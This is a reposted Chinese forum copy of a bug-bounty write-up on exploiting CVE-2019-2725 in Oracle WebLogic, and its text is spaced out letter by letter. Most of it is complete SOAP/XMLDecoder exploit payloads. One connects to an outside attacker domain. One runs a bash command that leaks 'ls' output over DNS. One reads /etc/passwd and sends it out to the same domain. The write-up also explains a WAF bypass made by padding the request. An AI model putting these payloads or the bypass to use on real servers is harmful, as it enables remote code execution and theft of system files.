搜索

[2255] 2021-01-29_weblogic远程代码执行（利用CVE-2019-2725）

文档创建者：s7ckTeam
浏览次数：42
最后更新：2025-01-16
2021-01-29_weblogic远程代码执行（利用CVE-2019-2725） w e b l o g i c 远 程 代 码 执 行 （ 利 用 C V E - 2 0 1 9 - 2 7 2 5 ） M A H M O U D   G A M A L   E D I 安 全   2 0 2 1 - 0 1 - 2 9 P a r t   0 1 T L ; D R 在 本 文 中 ， 我 将 解 释 用 于 开 发 C V E - 2 0 1 9 - 2 7 2 5 的 几 种 技 术 。 P a r t   0 2 关 于 w e b l o g i c O r a c l e   W e b L o g i c   S e r v e r 是 O r a c l e   C o r p o r a t i o n 当 前 开 发 的 J a v a   E E 应 用 服 务 器 。 O r a c l e 在 2 0 0 8 年 收 购 B E A   S y s t e m s 时 收 购 了 W e b L o g i c   S e r v e r 。 W i k i p e d i a P a r t   0 3 C V E - 2 0 1 9 - 2 7 2 5 2 0 1 9 年 4 月 2 5 日 ， 一 组 网 络 安 全 研 究 人 员 发 布 了 警 告 ， 描 述 了 O r a c l e   W e b L o g i c 中 的 远 程 代 码 执 行 零 日 漏 洞 。 此 漏 洞 影 响 启 用 了 组 件 w l s 9 _ a s y n c _ r e s p o n s e . w a r 和 w l s - w s a t . w a r 的 W e b L o g i c 版 本 1 0 . X 和 1 2 . 1 . 3 。 可 以 通 过 将 带 有 J a v a   X M L   b e a n 的 特 制 S O A P 请 求 发 送 到 e n d p o i n t 来 验 证 该 漏 洞 / _ a s y n c / A s y n c R e s p o n s e S e r v i c e 。 P a r t   0 4 细 节 在 对 已 安 装 w e b l o g i c 的 目 标 进 行 渗 透 测 试 时 ， 我 决 定 测 试 常 见 的 w e b l o g i c   C V E 。 目 标 具 有 / _ a s y n c / A s y n c R e s p o n s e S e r v i c e 可 用 于 测 试 C V E - 2 0 1 9 - 2 7 2 5 的 e n d p o i n t “   ” 。 我 尝 试 做 的 第 一 件 事 是 通 过 创 建 一 个 尝 试 连 接 到 服 务 器 的 “   j a v a . n e t . S o c k e t ” 对 象 来 验 证 目 标 是 否 易 受 攻 击 ， 并 查 看 是 否 可 以 使 用 以 下 p a y l o a d 在 监 听 器 上 获 得 任 何 连 接 ：
但 是 ， 由 于 W A F ， 服 务 器 从 未 响 应 ， 并 且 从 未 发 送 过 我 的 请 求 ， 经 过 更 多 测 试 ， 我 能 够 通 过 在 X M L p a y l o a d 之 前 添 加 这 么 多 的 空 间 来 绕 过 W A F ， 因 为 当 内 容 出 现 时 ， W A F 会 忽 略 其 余 的 请 求 数 据 长 度 太 长 。 之 后 ， 我 确 实 获 得 了 2 0 2 状 态 的 响 应 ， 但 是 ， 在 e n d p o i n t 8 0 上 的 n e t c a t 侦 听 器 上 什 么 都 没 有 得 到 ， 后 来 我 发 现 防 火 墙 也 阻 止 了 所 有 传 出 连 接 。 然 后 ， 我 决 定 检 查 D N S 请 求 ， 发 现 D N S 请 求 正 在 发 送 ， 并 且 在 我 的 侦 听 器 上 收 到 了 D N S 请 求 r c e t e s t . t e s t . z o m b i e h e l p 5 4 . m e 这 样 说 就 意 味 着 服 务 器 很 容 易 受 到 攻 击 ， 因 为 我 能 够 创 建 一 个 “   j a v a . n e t . S o c k e t ” 对 象 并 将 其 连 接 到 我 的 服 务 器 。 o r g . s l f 4 j . e x t . E v e n t D a t a 类 来 利 用 它 ， 但 是 从 来 没 有 提 供 该 类 的 p a y l o a d ， 但 是 ， 在 阅 读 了 o r g . s l f 4 j . e x t . E v e n t D a t a 类 的 源 代 码 之 后 ， 我 能 够 构 建 自 己 的 p a y l o a d 来 执 行 系 统 命 令 ： < s o a p e n v : E n v e l o p e   x m l n s : s o a p e n v = " h t t p : / / s c h e m a s . x m l s o a p . o r g / s o a p / e n v e l o p e / "   x m l n s : w s a = " h t t p : / / w w w . w 3 . o r g / 2 0 0 5 / 0 8 / a d d r e s s i n g "   x m l n s : a s y = " h t t p : / / w w w . b e a . c o m / a s y n c / A s y n c R e s p o n s e S e r v i c e " >       < s o a p e n v : H e a d e r >   < w s a : A c t i o n > d e m o < / w s a : A c t i o n > < w s a : R e l a t e s T o > t e s t < / w s a : R e l a t e s T o > < w o r k : W o r k C o n t e x t   x m l n s : w o r k = " h t t p : / / b e a . c o m / 2 0 0 4 / 0 6 / s o a p / w o r k a r e a / " > < j a v a >         < c l a s s >                 < s t r i n g > j a v a . n e t . S o c k e t < / s t r i n g >                 < v o i d >                         < s t r i n g > r c e t e s t . t e s t . z o m b i e h e l p 5 4 . m e < / s t r i n g >                         < i n t > 8 0 < / i n t >                 < / v o i d >         < / c l a s s > < / j a v a > < / w o r k : W o r k C o n t e x t >       < / s o a p e n v : H e a d e r >       < s o a p e n v : B o d y >             < a s y : o n A s y n c D e l i v e r y / >       < / s o a p e n v : B o d y > < / s o a p e n v : E n v e l o p e >
基 本 上 ， 以 上 X M L 确 实 是 它 创 建 了 一 个 o r g . s l f 4 j . e x t . E v e n t D a t a 对 象 ， 它 需 要 一 个 X M L   b e a n 作 为 一 个 字 符 串 ， 然 后 解 码 ， 并 创 建 一 个 j a v a . l a n g . P r o c e s s B u i l d e r 对 象 出 来 ， 该 后   s t a r t ( ) 方 法 被 调 用 ， 其 执 行 系 统 命 令 < s o a p e n v : E n v e l o p e   x m l n s : s o a p e n v = " h t t p : / / s c h e m a s . x m l s o a p . o r g / s o a p / e n v e l o p e / "   x m l n s : w s a = " h t t p : / / w w w . w 3 . o r g / 2 0 0 5 / 0 8 / a d d r e s s i n g "   x m l n s : a s y = " h t t p : / / w w w . b e a . c o m / a s y n c / A s y n c R e s p o n s e S e r v i c e " >       < s o a p e n v : H e a d e r >   < w s a : A c t i o n > d e m o < / w s a : A c t i o n > < w s a : R e l a t e s T o > t e s t < / w s a : R e l a t e s T o > < w o r k : W o r k C o n t e x t   x m l n s : w o r k = " h t t p : / / b e a . c o m / 2 0 0 4 / 0 6 / s o a p / w o r k a r e a / " > < j a v a >         < c l a s s >                 < s t r i n g > o r g . s l f 4 j . e x t . E v e n t D a t a < / s t r i n g >                 < v o i d >                         < s t r i n g >                                 < ! [ C D A T A [ < j a v a   v e r s i o n = " 1 . 8 "   c l a s s = " j a v a . b e a n s . X M L D e c o d e r " >                                         < v o i d   c l a s s = " j a v a . l a n g . P r o c e s s B u i l d e r " >                                                 < a r r a y   c l a s s = " j a v a . l a n g . S t r i n g "   l e n g t h = " 3 " >                                                         < v o i d   i n d e x = " 0 " >                                                                 < s t r i n g > / b i n / b a s h < / s t r i n g >                                                         < / v o i d >                                                         < v o i d   i n d e x = " 1 " >                                                                 < s t r i n g > - c < / s t r i n g >                                                         < / v o i d >                                                         < v o i d   i n d e x = " 2 " >                                                                 < s t r i n g > p i n g   " ` l s   |   h e a d   - n   1 ` . h a c k . z o m b i e h e l p 5 4 . m e " < / s t r i n g >                                                         < / v o i d >                                                 < / a r r a y >                                                 < v o i d   m e t h o d = " s t a r t "   / > < / v o i d >                                 < / j a v a > ] ] >                         < / s t r i n g >                 < / v o i d >         < / c l a s s > < / j a v a > < / w o r k : W o r k C o n t e x t >   < / s o a p e n v : H e a d e r >   < s o a p e n v : B o d y >   < a s y : o n A s y n c D e l i v e r y / >   < / s o a p e n v : B o d y > < / s o a p e n v : E n v e l o p e > p i n g   " ` l s   |   h e a d   - n   1 ` . h a c k . z o m b i e h e l p 5 4 . m e " ，
因 此 有 一 个 D N S 请 求 l s 命 令 的 结 果 。 我 报 告 了 所 发 现 的 内 容 ， 然 后 继 续 在 其 他 漏 洞 赏 金 计 划 中 寻 找 相 同 的 漏 洞 。 另 外 ， 我 发 现 了 其 他 一 些 漏 洞 赏 金 程 序 ， 它 们 也 很 容 易 受 到 攻 击 ， 并 且 其 中 一 些 使 用 了 相 同 的 惰 性 W A F ， 当 长 度 太 长 时 ， 它 会 忽 略 请 求 正 文 。 他 们 中 的 一 些 部 署 自 定 义 修 复 程 序 不 能 访 问 j a v a . l a n g . P r o c e s s B u i l d e r ， 以 及 j a v a . l a n g . R u n t i m e 类 ， 以 防 止 系 统 命 令 的 执 行 ， 然 而 ， 这 样 做 更 多 的 研 究 ， 关 于 “ 后 j a v a . b e a n s . X M L D e c o d e r ” 级 和 理 解 的 语 法 ， 它 可 以 用 来 创 建 任 何 类 中 的 任 何 J a v a 对 象 与 调 用 函 数 和 添 加 属 性 的 能 力 。 因 此 ， 可 以 对 提 到 的 易 受 攻 击 的 服 务 器 进 行 读 写 。 如 此 说 来 ， 我 创 建 了 一 个 X M L   b e a n ， 它 读 取 文 件 “   / e t c / p a s s w d ” 并 将 其 通 过 D N S 请 求 发 送 到 我 的 服 务 器 ： p i n g   " ` l s   |   h e a d   - n   1 ` . h a c k . z o m b i e h e l p 5 4 . m e " ， < s o a p e n v : E n v e l o p e   x m l n s : s o a p e n v = " h t t p : / / s c h e m a s . x m l s o a p . o r g / s o a p / e n v e l o p e / "   x m l n s : w s a = " h t t p : / / w w w . w 3 . o r g / 2 0 0 5 / 0 8 / a d d r e s s i n g "   x m l n s : a s y = " h t t p : / / w w w . b e a . c o m / a s y n c / A s y n c R e s p o n s e S e r v i c e " >       < s o a p e n v : H e a d e r >   < w s a : A c t i o n > d e m o < / w s a : A c t i o n > < w s a : R e l a t e s T o > t e s t < / w s a : R e l a t e s T o > < w o r k : W o r k C o n t e x t   x m l n s : w o r k = " h t t p : / / b e a . c o m / 2 0 0 4 / 0 6 / s o a p / w o r k a r e a / " > < j a v a >         < c l a s s >                 < s t r i n g > o r g . s l f 4 j . e x t . E v e n t D a t a < / s t r i n g >                 < v o i d >                         < s t r i n g > < ! [ C D A T A [                                 < j a v a >                                         < o b j e c t   i d = " f i l e "   c l a s s = " j a v a . i o . F i l e R e a d e r " >                                                 < s t r i n g > / e t c / p a s s w d < / s t r i n g >                                         < / o b j e c t >                                         < o b j e c t   i d = " t e x t "   c l a s s = " j a v a . i o . B u f f e r e d R e a d e r " >                                                 < o b j e c t   i d r e f = " f i l e "   / >                                                 < v o i d   i d = " r e s "   m e t h o d = " r e a d L i n e " / >                                         < / o b j e c t >                                         < o b j e c t   i d r e f = " r e s " >                                                 < v o i d   i d = " r e s 2 "   m e t h o d = " r e p l a c e " >                                                         < s t r i n g > : < / s t r i n g >                                                         < s t r i n g > - < / s t r i n g >
                                                        < s t r i n g > - < / s t r i n g >                                                 < / v o i d >                                         < / o b j e c t >                                         < o b j e c t   i d r e f = " r e s 2 " >                                                 < v o i d   i d = " r e s 3 "   m e t h o d = " r e p l a c e " >                                                         < s t r i n g > / < / s t r i n g >                                                         < s t r i n g > - < / s t r i n g >                                                 < / v o i d >                                         < / o b j e c t >                                         < o b j e c t   i d = " z h p "   c l a s s = " j a v a . l a n g . S t r i n g " >                                                 < s t r i n g > h t t p : / / < / s t r i n g >                                         < / o b j e c t >                                         < o b j e c t   i d r e f = " z h p " >                                                 < v o i d   i d = " r e s 4 "   m e t h o d = " c o n c a t "   >                                                         < o b j e c t   i d r e f = " r e s 3 "   / >                                                 < / v o i d >                                         < / o b j e c t >                                         < o b j e c t   i d r e f = " r e s 4 " >                                                 < v o i d   i d = " r e s 5 "   m e t h o d = " c o n c a t "   >                                                         < s t r i n g > . h a c k . z o m b i e h e l p 5 4 . m e < / s t r i n g >                                                 < / v o i d >                                         < / o b j e c t >                                         < o b j e c t   i d = " u r l "   c l a s s = " j a v a . n e t . U R L " >                                                 < o b j e c t   i d r e f = " r e s 5 "   / > < / o b j e c t >                                         < o b j e c t   i d r e f = " u r l " >                                                 < v o i d   i d = " c o n n e c t i o n "   m e t h o d = " o p e n C o n n e c t i o n "   / >                                         < / o b j e c t >                                         < o b j e c t   i d r e f = " c o n n e c t i o n " >                                                 < v o i d   i d = " i n p u t S t r e a m "   m e t h o d = " g e t I n p u t S t r e a m " / >                                         < / o b j e c t >                                 < / j a v a >                         ] ] > < / s t r i n g >                 < / v o i d >         < / c l a s s > < / j a v a > < / w o r k : W o r k C o n t e x t >   < / s o a p e n v : H e a d e r >   < s o a p e n v : B o d y >   < a s y : o n A s y n c D e l i v e r y / >   < / s o a p e n v : B o d y > < / s o a p e n v : E n v e l o p e >
E D I 安 全 安 全 一 个 专 注 渗 透 实 战 经 验 分 享 的 公 众 号 扫 二 维 码 ｜ 关 注 我 们 扫 二 维 码 ｜ 关 注 我 们
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理